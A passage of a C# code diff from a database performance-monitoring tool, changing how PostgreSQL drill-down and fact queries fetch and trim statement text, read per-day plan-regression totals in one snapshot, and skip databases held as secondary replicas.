+    /// <see cref="StatementPreview"/> judges and cuts the text (#5320).
+    /// </summary>
+    public const string ParameterSensitiveInlineTextSql = @"
+SELECT DISTINCT ON (q.database_name, q.query_hash, q.query_plan_hash)
+    q.database_name,
+    q.query_hash,
+    q.query_plan_hash,
+    COALESCE(q.query_text, d.query_text) AS query_text
+FROM query_stats AS q
+LEFT JOIN query_text_dim AS d ON d.digest = q.query_text_digest
+JOIN unnest($4::text[], $5::text[], $6::text[]) AS k(database_name, query_hash, query_plan_hash)
+  ON  q.database_name  IS NOT DISTINCT FROM k.database_name
+  AND q.query_hash      IS NOT DISTINCT FROM k.query_hash
+  AND q.query_plan_hash IS NOT DISTINCT FROM k.query_plan_hash
+WHERE q.server_id = $1
+AND   q.collection_time >= $2
+AND   q.collection_time <= $3
+AND   q.delta_execution_count > 0
+AND   (q.query_hash = ANY($5::text[]) OR q.query_hash IS NULL)
+ORDER BY q.database_name, q.query_hash, q.query_plan_hash, q.collection_time DESC";
+
     /// <summary>
     /// The statement text of the parameter-sensitive plans the reader keeps, by digest (#3902, #4821): one
     /// dimension row per digest by primary key, so the read touches the digests it is given and nothing else.
     /// <see cref="ParameterSensitiveSql"/> runs before the reader's cap and so cannot resolve text itself
     /// without resolving it for every plan that passes its rough filter. <c>$1</c> is ONE <c>bytea[]</c> (the
-    /// dimension's digest type): the digests <see cref="DigestsToResolve"/> picks. The cut to 500 characters stays
-    /// in SQL, so it is still PostgreSQL's character count, and <c>LEFT(COALESCE(a, b), 500)</c> is
-    /// <c>COALESCE(LEFT(a, 500), LEFT(b, 500))</c>: the reader takes the inline text when the row has it and
-    /// this read's text otherwise, as the view's own <c>COALESCE</c> did.
+    /// dimension's digest type): the digests <see cref="DigestsToResolve"/> picks. The text comes back whole and
+    /// <see cref="StatementPreview"/> judges and cuts it (#5320): the reader takes the inline text when the row has it
+    /// and this read's text otherwise, as the view's own <c>COALESCE</c> did.
     /// </summary>
     public const string ParameterSensitiveTextSql = @"
-SELECT digest, LEFT(query_text, 500)
+SELECT digest, query_text
 FROM query_text_dim
 WHERE digest = ANY($1)";
 
@@ -450,8 +493,9 @@ internal static IReadOnlyList<byte[]> DigestsToResolve(IEnumerable<(string? Inli
 
     /// <summary>
     /// A parameter-sensitive plan the reader kept, before its statement text is settled (#4821): the columns of
-    /// <see cref="ParameterSensitiveSql"/> the drill-down prints, plus the inline legacy text and the digest that
-    /// <see cref="ParameterSensitiveTextSql"/> resolves for a row with no inline text.
+    /// <see cref="ParameterSensitiveSql"/> the drill-down prints, plus whether it has inline legacy text (the text
+    /// itself is read after the cap, #5361) and the digest that <see cref="ParameterSensitiveTextSql"/> resolves for
+    /// a row with no inline text.
     /// </summary>
     private sealed record ParameterSensitivePlan(
         string Database,
@@ -463,8 +507,16 @@ private sealed record ParameterSensitivePlan(
         double WorkerRatio,
         double GrantRatio,
         bool SpillsOnSomeInputs,
-        string? InlineText,
-        byte[]? TextDigest);
+        bool HasInlineText,
+        byte[]? TextDigest,
+        PlanKey Key,
+        string? InlineText = null);
+
+    /// <summary>
+    /// A plan's identity in <see cref="ParameterSensitiveInlineTextSql"/> (#5361): the three raw column values, NULL
+    /// kept as NULL (the printed record fields map NULL to empty text), compared ordinally.
+    /// </summary>
+    private readonly record struct PlanKey(string? Database, string? QueryHash, string? QueryPlanHash);
 
     /// <summary>
     /// Top parameter-sensitive plans behind a PARAMETER_SENSITIVITY finding.
@@ -506,8 +558,12 @@ private async Task CollectParameterSensitiveQueries(AnalysisFinding finding, Ana
                     WorkerRatio: reader.IsDBNull(6) ? 0.0 : Convert.ToDouble(reader.GetValue(6)),
                     GrantRatio: reader.IsDBNull(7) ? 0.0 : Convert.ToDouble(reader.GetValue(7)),
                     SpillsOnSomeInputs: !reader.IsDBNull(8) && Convert.ToInt32(reader.GetValue(8)) == 1,
-                    InlineText: reader.IsDBNull(9) ? null : reader.GetString(9),
-                    TextDigest: reader.IsDBNull(13) ? null : reader.GetFieldValue<byte[]>(13)));
+                    HasInlineText: !reader.IsDBNull(9) && reader.GetBoolean(9),
+                    TextDigest: reader.IsDBNull(13) ? null : reader.GetFieldValue<byte[]>(13),
+                    Key: new PlanKey(
+                        reader.IsDBNull(0) ? null : reader.GetString(0),
+                        reader.IsDBNull(1) ? null : reader.GetString(1),
+                        reader.IsDBNull(2) ? null : reader.GetString(2))));
                 if (kept.Count >= ParameterSensitiveMaxOffenders)
                     break;
             }
@@ -516,6 +572,19 @@ private async Task CollectParameterSensitiveQueries(AnalysisFinding finding, Ana
         if (kept.Count == 0)
             return;
 
+        /* #5361: the whole inline text of the plans that print, not of every plan the read above ranked (its window
+           sort would have carried each row's text, up to 64 KB, to keep five). One read, only when a kept plan has
+           inline text, on the same connection. A plan whose row is gone by now reads as having none and falls through
+           to the digest below, as a row without inline text does. */
+        var inlineText = kept.Any(p => p.HasInlineText)
+            ? await ReadParameterSensitiveInlineTextAsync(
+                connection, kept.Where(p => p.HasInlineText).Select(p => p.Key).Distinct().ToList(),
+                windowStart, AsNaive(context.TimeRangeEnd), context.ServerId, context.CancellationToken)
+            : new Dictionary<PlanKey, string>();
+        kept = kept
+            .Select(p => p with { InlineText = p.HasInlineText && inlineText.TryGetValue(p.Key, out var inline) ? inline : null })
+            .ToList();
+
         /* #3902, #4821: statement text for the plans that print, not for every plan the read above returned. One
            read by digest, only when a kept row has a digest and no inline text, on the same connection. */
         var digests = DigestsToResolve(kept.Select(p => (InlineText: p.InlineText, Digest: p.TextDigest)));
@@ -534,10 +603,44 @@ private async Task CollectParameterSensitiveQueries(AnalysisFinding finding, Ana
             worker_ratio = p.WorkerRatio,
             grant_ratio = p.GrantRatio,
             spills_on_some_inputs = p.SpillsOnSomeInputs,
-            query_text = SettledQueryText(p.InlineText, p.TextDigest, dimensionText)
+            query_text = StatementPreview(SettledQueryText(p.InlineText, p.TextDigest, dimensionText))
         }).ToList();
     }
 
+    /// <summary>
+    /// Runs <see cref="ParameterSensitiveInlineTextSql"/> once for the kept plans, on the connection they were read on
+    /// (#5361), and returns each plan's whole inline text. The plans travel as three parallel arrays, however many
+    /// print; a NULL text (a row that lost its text since) is left out.
+    /// </summary>
+    private static async Task<Dictionary<PlanKey, string>> ReadParameterSensitiveInlineTextAsync(
+        NpgsqlConnection connection, IReadOnlyList<PlanKey> plans, DateTime windowStart, DateTime windowEnd,
+        int serverId, CancellationToken cancellationToken)
+    {
+        using var cmd = new NpgsqlCommand(ParameterSensitiveInlineTextSql, connection);
+        cmd.CommandTimeout = DrillDownCommandTimeoutSeconds;
+        cmd.Parameters.AddWithValue(serverId);
+        cmd.Parameters.AddWithValue(windowStart);
+        cmd.Parameters.AddWithValue(windowEnd);
+        cmd.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Array | NpgsqlDbType.Text, Value = plans.Select(p => p.Database).ToArray() });
+        cmd.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Array | NpgsqlDbType.Text, Value = plans.Select(p => p.QueryHash).ToArray() });
+        cmd.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Array | NpgsqlDbType.Text, Value = plans.Select(p => p.QueryPlanHash).ToArray() });
+
+        var text = new Dictionary<PlanKey, string>();
+        await using var reader = await cmd.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            if (!reader.IsDBNull(3))
+            {
+                text[new PlanKey(
+                    reader.IsDBNull(0) ? null : reader.GetString(0),
+                    reader.IsDBNull(1) ? null : reader.GetString(1),
+                    reader.IsDBNull(2) ? null : reader.GetString(2))] = reader.GetString(3);
+            }
+        }
+
+        return text;
+    }
+
     /// <summary>
     /// The text the drill-down prints for a kept plan: the view's own <c>COALESCE</c>. Inline text wins when it is
     /// not NULL, even when empty; otherwise the dimension's text for the plan's digest; a digest with no dimension
@@ -716,6 +819,7 @@ FROM v_query_store_stats
     -- matched independently, which admits every pairing of the listed databases and query ids: a superset
     -- of the offenders, never a subset.
     AND   ($5::text[] IS NULL OR (database_name = ANY($5::text[]) AND query_id = ANY($6::bigint[])))
+    /*SEC*/
 ),
 plan_dedup AS
 (
@@ -774,6 +878,7 @@ FROM query_store_interval_latest
     AND   collection_time >= $7
     AND   first_execution_time >= $7
     AND   ($5::text[] IS NULL OR (database_name = ANY($5::text[]) AND query_id = ANY($6::bigint[])))
+    /*SEC*/
     GROUP BY database_name, query_id, replica_role, query_plan_hash
     HAVING SUM(execution_count) >= 25
 ),
@@ -829,7 +934,7 @@ scored AS
         -- grain `latest` is already at — so it resolves with the keyed join below rather than being carried
         -- up through any_value(). l.query_text stays as the fallback: it is where text lived before the
         -- cutover, so history collected earlier still shows a statement instead of an empty drill-down.
-        LEFT(COALESCE(x.query_sql_text, l.query_text), 500) AS query_text,
+        COALESCE(x.query_sql_text, l.query_text) AS query_text,
         l.replica_role,
         l.execs * l.cpu_per_exec AS latest_total_cpu_us,
         -- #2138 gap 3: does this regressed query ALSO carry the parameter-sensitivity signature in the
@@ -899,7 +1004,9 @@ private async Task CollectRegressedQueries(AnalysisFinding finding, AnalysisCont
 
         /* #3953: the source the fact read this pass, so the drill-down can reproduce it; when the fact did not
            decide, the same decision the fact makes, over the same bound. */
-        var windowStart = AsNaive(context.TimeRangeStart.AddDays(-14));
+        /* #5448: when the fact read per-day totals its window edge was moved to the start of the day, so the drill-down
+           starts there too and its best plan is one the fact saw; otherwise the exact edge, as before. */
+        var windowStart = context.PlanRegressionWindowStart ?? AsNaive(context.TimeRangeStart.AddDays(-14));
         var readsTable = context.PlanRegressionReadsIntervalTable
             ?? await QueryStoreIntervalLatest.ReadsTableAsync(
                 connection, context.ServerId, windowStart.AddDays(-1), DrillDownCommandTimeoutSeconds, null, context.CancellationToken);
@@ -938,6 +1045,12 @@ test on each row (#4821). */
             cmd.Parameters.AddWithValue(windowStart.AddDays(-1));
         }
 
+        /* #5558: the same databases the PLAN_REGRESSION fact skipped, for the pass where the fact did not run and the
+           offender list above is NULL. The predicate sits in the source CTE, ahead of the LIMIT 5, so the five rows are
+           the worst five of the databases this node reports (Lite's twin does the same); a filter after the LIMIT could
+           leave fewer. Bound last, so its parameter number follows every parameter above. */
+        PgSecondaryReplicaScope.Apply(cmd, context, "PLAN_REGRESSION", "database_name");
+
         ServerClock? clock = null;
         var items = new List<object>();
         using var reader = await cmd.ExecuteReaderAsync(context.CancellationToken);
@@ -959,7 +1072,7 @@ test on each row (#4821). */
                 best_cpu_per_exec_us = reader.IsDBNull(7) ? 0.0 : Convert.ToDouble(reader.GetValue(7)),
                 best_duration_per_exec_us = reader.IsDBNull(8) ? 0.0 : Convert.ToDouble(reader.GetValue(8)),
                 regression_factor = reader.IsDBNull(9) ? 0.0 : Convert.ToDouble(reader.GetValue(9)),
-                query_text = reader.IsDBNull(10) ? "" : reader.GetString(10),
+                query_text = reader.IsDBNull(10) ? "" : StatementPreview(reader.GetString(10)),
                 /* #1850: which replica this regression was measured on. NULL — rendered as "" — on every
                    standalone/non-AG/pre-2022 server, which is the overwhelming majority; it is only
                    populated on an AG primary with Query Store for secondary replicas enabled, where two
@@ -1007,7 +1120,7 @@ FROM v_query_stats
     AND   query_hash = $4
 )
 SELECT database_name, query_hash,
-       LEFT(MAX(query_text), 500) AS query_text,
+       MAX(query_text) AS query_text,
        SUM(delta_execution_count)::BIGINT AS exec_count,
        CASE WHEN SUM(delta_execution_count) > 0
             THEN SUM(delta_worker_time)::DOUBLE PRECISION / SUM(delta_execution_count) / 1000.0
@@ -1054,7 +1167,7 @@ private async Task CollectBadActorDetail(AnalysisFinding finding, AnalysisContex
             {
                 database = reader.IsDBNull(0) ? "" : reader.GetString(0),
                 query_hash = reader.IsDBNull(1) ? "" : reader.GetString(1),
-                query_text = reader.IsDBNull(2) ? "" : reader.GetString(2),
+                query_text = reader.IsDBNull(2) ? "" : StatementPreview(reader.GetString(2)),
                 execution_count = reader.IsDBNull(3) ? 0L : Convert.ToInt64(reader.GetValue(3)),
                 avg_cpu_ms = reader.IsDBNull(4) ? 0.0 : Math.Round(Convert.ToDouble(reader.GetValue(4)), 2),
                 avg_elapsed_ms = reader.IsDBNull(5) ? 0.0 : Math.Round(Convert.ToDouble(reader.GetValue(5)), 2),
diff --git a/Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.Storage.cs b/Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.Storage.cs
index f711b3c4c8..e3075d6780 100644
--- a/Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.Storage.cs
+++ b/Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.Storage.cs
@@ -77,6 +77,7 @@ FROM latest
 AND   is_percent_growth = true
 AND   total_size_mb >= 10240
 AND   database_name NOT IN ('master', 'msdb', 'model', 'tempdb')
+/*SEC*/
 ORDER BY total_size_mb DESC
 LIMIT 50";
 
@@ -99,6 +100,8 @@ private async Task CollectAutogrowthPercentFiles(AnalysisFinding finding, Analys
         cmd.Parameters.AddWithValue(context.ServerId);
         cmd.Parameters.AddWithValue(AsNaive(context.LatestValueStartFor(DatabaseSizeStatsCollector.Instance.Name)));
         cmd.Parameters.AddWithValue(AsNaive(context.TimeRangeEnd));
+        /* #5558: the same databases the fact skipped. */
+        PgSecondaryReplicaScope.Apply(cmd, context, "FILE_AUTOGROWTH_PERCENT", "database_name");
 
         var items = new List<object>();
         using var reader = await cmd.ExecuteReaderAsync(context.CancellationToken);
diff --git a/Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.cs b/Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.cs
index 15497ab889..f506f2f8a2 100644
--- a/Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.cs
+++ b/Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.cs
@@ -53,7 +53,7 @@ namespace PerformanceMonitor.Darling.Analysis;
 /// No query uses <c>NOW()</c>/<c>CURRENT_TIMESTAMP</c> (every window bound is a parameter), no
 /// <c>QUALIFY</c> appears, and the one <c>any_value()</c> use (the plan-regression drill-down,
 /// same as the fact collector's plan-regression detector) is standard SQL:2023, in Postgres
-/// since 16 (the product's minimum PG is 17) — all pinned by the AN3 tests.
+/// since 16 (the product's minimum PG is 16) — all pinned by the AN3 tests.
 /// </para>
 /// </summary>
 public sealed partial class PgDrillDownCollector : IDrillDownCollector
diff --git a/Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.Activity.cs b/Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.Activity.cs
index 316da6af4a..c093da1455 100644
--- a/Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.Activity.cs
+++ b/Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.Activity.cs
@@ -16,6 +16,9 @@ namespace PerformanceMonitor.Darling.Analysis;
 
 public sealed partial class PgFactCollector
 {
+    /* #5320: no statement text. The fact is keyed on the query hash and carries only numbers, so the read used to
+       fetch a 200-character cut of the text for nothing, and a cut text read here would have been judged as a prefix.
+       The text is read, judged whole and then cut where an answer prints it (the BAD_ACTOR drill-down). */
     public const string BadActorSql = @"
 SELECT
     database_name,
@@ -33,8 +36,7 @@ THEN SUM(delta_logical_reads)::DOUBLE PRECISION / SUM(delta_execution_count)
     SUM(delta_worker_time)::BIGINT AS total_cpu_us,
     SUM(delta_logical_reads)::BIGINT AS total_reads,
     SUM(delta_spills)::BIGINT AS total_spills,
-    MAX(max_dop) AS max_dop,
-    LEFT(MAX(query_text), 200) AS query_text
+    MAX(max_dop) AS max_dop
 FROM v_query_stats
 WHERE server_id = $1
 AND   collection_time >= $2
@@ -76,7 +78,6 @@ private async Task CollectBadActorFactsAsync(AnalysisContext context, List<Fact>
                 var totalReads = reader.IsDBNull(7) ? 0L : Convert.ToInt64(reader.GetValue(7));
                 var totalSpills = reader.IsDBNull(8) ? 0L : Convert.ToInt64(reader.GetValue(8));
                 var maxDop = reader.IsDBNull(9) ? 0 : Convert.ToInt32(reader.GetValue(9));
-                var queryText = reader.IsDBNull(10) ? "" : reader.GetString(10);
 
                 // Skip low-impact queries — need meaningful per-execution cost
                 if (avgCpuMs < 10 && avgReads < 1000) continue;
diff --git a/Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.Config.cs b/Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.Config.cs
index 740395bc47..ac0da0b6d6 100644
--- a/Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.Config.cs
+++ b/Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.Config.cs
@@ -160,6 +160,7 @@ WITH latest AS (
     FROM database_config
     WHERE server_id = $1
     AND   capture_time = (SELECT MAX(capture_time) FROM database_config WHERE server_id = $1)
+    /*SEC*/
 )
 SELECT
     COUNT(*) AS database_count,
@@ -187,6 +188,9 @@ private async Task CollectDatabaseConfigFactsAsync(AnalysisContext context, List
 
             using var cmd = new NpgsqlCommand(DatabaseConfigSql, connection) { CommandTimeout = FactCommandTimeoutSeconds };
             cmd.Parameters.AddWithValue(context.ServerId);
+            /* #5558: a database this node holds only as a secondary copy is the primary's to report (and drops out of
+               every count here, database_count included). */
+            PgSecondaryReplicaScope.Apply(cmd, context, "DB_CONFIG", "database_name");
 
             using var reader = await cmd.ExecuteReaderAsync(context.CancellationToken);
             if (!await reader.ReadAsync(context.CancellationToken)) return;
diff --git a/Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.QueryPerf.cs b/Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.QueryPerf.cs
index 3f8449d986..7bc51543a4 100644
--- a/Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.QueryPerf.cs
+++ b/Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.QueryPerf.cs
@@ -8,7 +8,9 @@
 
 using System;
 using System.Collections.Generic;
+using System.Threading;
 using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
 using Npgsql;
 using PerformanceMonitor.Analysis;
 using PerformanceMonitor.Analysis.Baselines;
@@ -283,19 +285,21 @@ private async Task CollectParameterSensitivityFactsAsync(AnalysisContext context
     }
 
     /// <summary>The PLAN_REGRESSION comparison window, in days — how far back a query's "best known" plan
-    /// may have been observed.</summary>
-    internal const int PlanRegressionWindowDays = 14;
+    /// may have been observed. One definition with the builder's (<see cref="PlanRegressionDaily.WindowDays"/>): a window
+    /// that outgrew the days the builder fills would leave every read short of built days and on the full scan.</summary>
+    internal const int PlanRegressionWindowDays = PlanRegressionDaily.WindowDays;
 
     /// <summary>
     /// How far BELOW the comparison window the chunk-exclusion bound sits (#2387). `last_execution_time`
     /// is the monitored server's clock and `collection_time` is the store's; a monitored server running
     /// ahead can report an execution time later than the collection that carried it. A day absorbs any
-    /// plausible drift while still excluding all but ~15 days of a store that may hold months.
+    /// plausible drift while still excluding all but ~15 days of a store that may hold months. One definition with the
+    /// builder's (<see cref="PlanRegressionDaily.PlanRegressionSkewMarginDays"/>), which closes a day by the same margin.
     /// </summary>
-    internal const int PlanRegressionSkewMarginDays = 1;
+    internal const int PlanRegressionSkewMarginDays = PlanRegressionDaily.PlanRegressionSkewMarginDays;
 
     /* PG port: any_value() below is standard SQL:2023, in Postgres since 16 — the product's
-       minimum supported PG is 17, so it stays verbatim (DuckDB and PG agree on its semantics:
+       minimum supported PG is 16, so it stays verbatim (DuckDB and PG agree on its semantics:
        an arbitrary non-null value from the group). */
     public const string PlanRegressionSql = PlanRegressionRawPrefix + PlanRegressionSuffix;
 
@@ -442,6 +446,108 @@ FROM query_store_interval_latest
 ),
 ";
 
+    /// <summary>
+    /// PLAN_REGRESSION over per-day totals for the closed days and the interval table for the rest (#5448):
+    /// <see cref="PlanRegressionTableSql"/> with its <c>plan_agg</c> replaced by the sum of two reads, so everything from
+    /// <c>plan_dedup</c> down is the shared <see cref="PlanRegressionSuffix"/> and cannot drift. $1 server_id, $2 M, $3 the
+    /// built days (<see cref="PlanRegressionDaily.BuiltDaysSql"/>, date[]), $4 the live floor and $5 M - 1 day, both
+    /// timestamps (see <see cref="PlanRegressionLiveFloor"/>).
+    ///
+    /// <para><b>The window edge moves in whole days.</b> This read's edge is M, the start of the day the exact edge falls
+    /// in, for both halves; the exact-bound read it replaces cut mid-day. It is the same function of the same snapshots
+    /// whenever the edge is day-aligned (the parity tests pin that), and differs by less than a day otherwise, which is
+    /// why the drill-down reads the same M (<c>AnalysisContext.PlanRegressionWindowStart</c>). A built day was built from
+    /// <c>last_execution_time</c> in the day, <c>first_execution_time</c> and <c>collection_time</c> a day below it, so the
+    /// two routes differ only for a snapshot collected more than a day before its interval's last execution.</para>
+    ///
+    /// <para><b>One snapshot for both.</b> The built days and this read are two statements, and the trigger can mark a
+    /// day late, and the builder can rebuild one, between them. The fact therefore runs both in one REPEATABLE READ READ
+    /// ONLY transaction: they see the same built set and the same totals, so a day is read from the totals only if the
+    /// totals the read sees are the ones that made it valid. The live floor stays a bound parameter ($4, worked out from
+    /// the built days the first statement returned), so the planner knows it and a hypertable drops the old chunks while
+    /// it plans, as the numbers in #5448 were measured. A late row that lands after the snapshot is not in it, and the
+    /// next builder pass rebuilds the day.</para>
+    /// </summary>
+    internal const string PlanRegressionDailySql = PlanRegressionDailyPrefix + PlanRegressionSuffix;
+
+    private const string PlanRegressionDailyPrefix = @"
+WITH plan_agg AS
+(
+    -- #5448: closed days from collect.plan_regression_daily (summed totals, so days recombine exactly), every other day
+    -- from the interval table with the daily builder's own aggregate. A row is in exactly one half: its day
+    -- (last_execution_time::date) is in the built set or it is not.
+    SELECT
+        database_name,
+        query_id,
+        plan_id,
+        replica_role,
+        any_value(query_plan_hash) AS query_plan_hash,
+        SUM(execs) AS execs,
+        SUM(cpu_us_sum)::DOUBLE PRECISION / NULLIF(SUM(execs), 0) AS cpu_per_exec,
+        SUM(dur_us_sum)::DOUBLE PRECISION / NULLIF(SUM(execs), 0) AS dur_per_exec,
+        MAX(last_exec) AS last_exec,
+        bool_or(is_forced_plan) AS is_forced_plan,
+        MAX(force_failure_count) AS force_failure_count
+    FROM
+    (
+        SELECT
+            d.database_name, d.query_id, d.plan_id, d.replica_role, d.query_plan_hash,
+            d.execs, d.cpu_us_sum, d.dur_us_sum, d.last_exec, d.is_forced_plan, d.force_failure_count
+        FROM plan_regression_daily AS d
+        WHERE d.server_id = $1::integer
+        AND   d.day = ANY($3::date[])
+
+        UNION ALL
+
+        SELECT
+            l.database_name, l.query_id, l.plan_id, l.replica_role, l.query_plan_hash,
+            SUM(l.execution_count),
+            SUM(l.avg_cpu_time_us::numeric * l.execution_count),
+            SUM(l.avg_duration_us::numeric * l.execution_count),
+            MAX(l.last_execution_time),
+            bool_or(l.is_forced_plan),
+            MAX(l.force_failure_count)
+        FROM query_store_interval_latest AS l
+        WHERE l.server_id = $1::integer
+        AND   l.last_execution_time >= $2::timestamp
+        AND   l.collection_time >= $5::timestamp
+        AND   l.first_execution_time >= $4::timestamp
+        AND   l.last_execution_time::date <> ALL($3::date[])
+        GROUP BY l.database_name, l.query_id, l.plan_id, l.replica_role, l.query_plan_hash
+    ) AS u
+    GROUP BY database_name, query_id, plan_id, replica_role
+),
+";
+
+    /// <summary>
+    /// M: the start of the day the comparison window's exact edge (<paramref name="rawWindowStart"/>) falls in (#5448).
+    /// </summary>
+    internal static DateTime PlanRegressionWindowFloor(DateTime rawWindowStart) =>
+        DateTime.SpecifyKind(rawWindowStart.Date, DateTimeKind.Unspecified);
+
+    /// <summary>
+    /// The live read's <c>first_execution_time</c> floor (#5448): one day below the first day, from
+    /// <paramref name="windowFloor"/> on, that is NOT built. A live row's day is that day or later, and one Query Store
+    /// interval spans at most a day, so its first execution is at or above the floor. With every day from the window's
+    /// start built up to some last one, the floor sits one day below the day after it, so a read still sees whatever
+    /// comes after the built days (a skewed server's future-dated rows).
+    /// </summary>
+    internal static DateTime PlanRegressionLiveFloor(DateTime windowFloor, IReadOnlyCollection<DateOnly> builtDays)
+    {
+        var built = new HashSet<DateOnly>(builtDays);
+        var day = DateOnly.FromDateTime(windowFloor);
+        while (built.Contains(day))
+        {
+            day = day.AddDays(1);
+        }
+
+        return DateTime.SpecifyKind(day.ToDateTime(TimeOnly.MinValue).AddDays(-1), DateTimeKind.Unspecified);
+    }
+
+    /// <summary>Test seam (#5448): runs between the PLAN_REGRESSION built-days read and the daily read, so a test can change the
+    /// store from another connection at exactly the point a snapshot has to hold. Null in production.</summary>
+    internal static readonly System.Threading.AsyncLocal<Func<System.Threading.CancellationToken, System.Threading.Tasks.Task>?> TestOnlyAfterBuiltDaysRead = new();
+
     /// <summary>Everything from <c>plan_dedup</c> down, shared by both PLAN_REGRESSION reads.</summary>
     private const string PlanRegressionSuffix = @"plan_dedup AS
 (
@@ -459,6 +565,7 @@ FROM query_store_interval_latest
         bool_or(is_forced_plan) AS is_forced_plan,
         MAX(force_failure_count) AS force_failure_count
     FROM plan_agg
+    /*SEC*/
     GROUP BY database_name, query_id, replica_role, query_plan_hash
     HAVING SUM(execs) >= 25
 ),
@@ -554,7 +661,10 @@ private async Task CollectPlanRegressionFactsAsync(AnalysisContext context, List
            than a list some earlier pass stamped on a reused context. */
         context.PlanRegressionOffenders = null;
         context.PlanRegressionReadsIntervalTable = null;
+        context.PlanRegressionWindowStart = null;
 
+        /* #5448: the built-days read and the daily read share this transaction (see PlanRegressionDailySql). */
+        NpgsqlTransaction? snapshot = null;
         try
         {
             await using var connection = await _postgres.OpenConnectionAsync(context.CancellationToken);
@@ -571,16 +681,74 @@ its own parameter rather than written as "$2 - INTERVAL '1 day'" so the planner
                 connection, context.ServerId, collectionBound, FactCommandTimeoutSeconds, _logger, context.CancellationToken);
             context.PlanRegressionReadsIntervalTable = readsTable;
 
-            using var cmd = new NpgsqlCommand(readsTable ? PlanRegressionTableSql : PlanRegressionSql, connection) { CommandTimeout = FactCommandTimeoutSeconds };
-            cmd.Parameters.AddWithValue(context.ServerId);
-            cmd.Parameters.AddWithValue(AsNaive(context.TimeRangeStart.AddDays(-PlanRegressionWindowDays)));
-            cmd.Parameters.AddWithValue(collectionBound);
+            /* #5448: the closed days that are fully built, only when the table is the source. Any failure is an empty
+               set: the read below then runs PlanRegressionTableSql on its exact bounds, as it did before the daily
+               totals existed. That failure is logged in the helper and is NOT a collection caveat: the exact read is
+               whole, so nothing is missing, and if it fails too its own catch records it, once. A cancelled pass is
+               not swallowed. */
+            var rawWindowStart = AsNaive(context.TimeRangeStart.AddDays(-PlanRegressionWindowDays));
+            var windowFloor = PlanRegressionWindowFloor(rawWindowStart);
+            var builtDays = new List<DateOnly>();
             if (readsTable)
             {
-                /* $4, the table's partitioning column: the same value, bare, for the same reason. */
+                /* One REPEATABLE READ READ ONLY transaction for the built-days read and the daily read: both see the same
+                   built set and the same totals, and the live floor below stays a bound parameter. */
+                snapshot = await connection.BeginTransactionAsync(System.Data.IsolationLevel.RepeatableRead, context.CancellationToken);
+                await using (var readOnly = new NpgsqlCommand("SET TRANSACTION READ ONLY", connection, snapshot) { CommandTimeout = FactCommandTimeoutSeconds })
+                {
+                    await readOnly.ExecuteNonQueryAsync(context.CancellationToken);
+                }
+
+                builtDays = await QueryStoreIntervalLatest.ReadBuiltDaysAsync(
+                    connection, snapshot, context.ServerId, windowFloor, FactCommandTimeoutSeconds, _logger,
+                    ex => AnalysisShutdown.IsExpectedAbandon(ex, context.CancellationToken), context.CancellationToken);
+                if (builtDays.Count == 0)
+                {
+                    /* No built day, or the read failed (which leaves this transaction aborted): the exact-bound read runs
+                       outside it, on an ordinary statement. */
+                    await snapshot.DisposeAsync();
+                    snapshot = null;
+                }
+                else if (TestOnlyAfterBuiltDaysRead.Value is { } afterBuiltDays)
+                {
+                    await afterBuiltDays(context.CancellationToken);
+                }
+            }
+
+            var readsDays = builtDays.Count > 0;
+
+            using var cmd = new NpgsqlCommand(
+                readsDays ? PlanRegressionDailySql : readsTable ? PlanRegressionTableSql : PlanRegressionSql, connection, snapshot)
+            { CommandTimeout = FactCommandTimeoutSeconds };
+            cmd.Parameters.AddWithValue(context.ServerId);
+            if (readsDays)
+            {
+                /* $2 M, $3 the built days, $4 the live floor, $5 M - 1 day (the collection bound, bare for #2387). */
+                cmd.Parameters.AddWithValue(NpgsqlTypes.NpgsqlDbType.Timestamp, windowFloor);
+                cmd.Parameters.Add(new NpgsqlParameter
+                {
+                    NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Array | NpgsqlTypes.NpgsqlDbType.Date,
+                    Value = builtDays.ToArray()
+                });
+                cmd.Parameters.AddWithValue(NpgsqlTypes.NpgsqlDbType.Timestamp, PlanRegressionLiveFloor(windowFloor, builtDays));
+                cmd.Parameters.AddWithValue(NpgsqlTypes.NpgsqlDbType.Timestamp, windowFloor.AddDays(-1));
+            }
+            else
+            {
+                cmd.Parameters.AddWithValue(rawWindowStart);
                 cmd.Parameters.AddWithValue(collectionBound);
+                if (readsTable)
+                {
+                    /* $4, the table's partitioning column: the same value, bare, for the same reason. */
+                    cmd.Parameters.AddWithValue(collectionBound);
+                }
             }
 
+            /* #5558: Query Store on a secondary copy is the primary's content, and rows from the days this node was
+               primary stay in the window, so the read skips those databases. The marker sits in the suffix all three
+               variants share, so they cannot drift; bound after every other parameter. */
+            PgSecondaryReplicaScope.Apply(cmd, context, "PLAN_REGRESSION", "database_name", "WHERE");
+
             var offenderCount = 0;
             var worstFactor = 0.0;
             var worstQueryId = 0L;
@@ -625,6 +793,10 @@ replicas of one query are two rows and one offender. */
 
             context.PlanRegressionOffenders = offenders;
 
+            /* #5448: M is recorded only now, after the read has succeeded. A read that threw leaves "not known" (null), as the
+               AnalysisContext doc says, so the drill-down does not start at an edge no fact read from. */
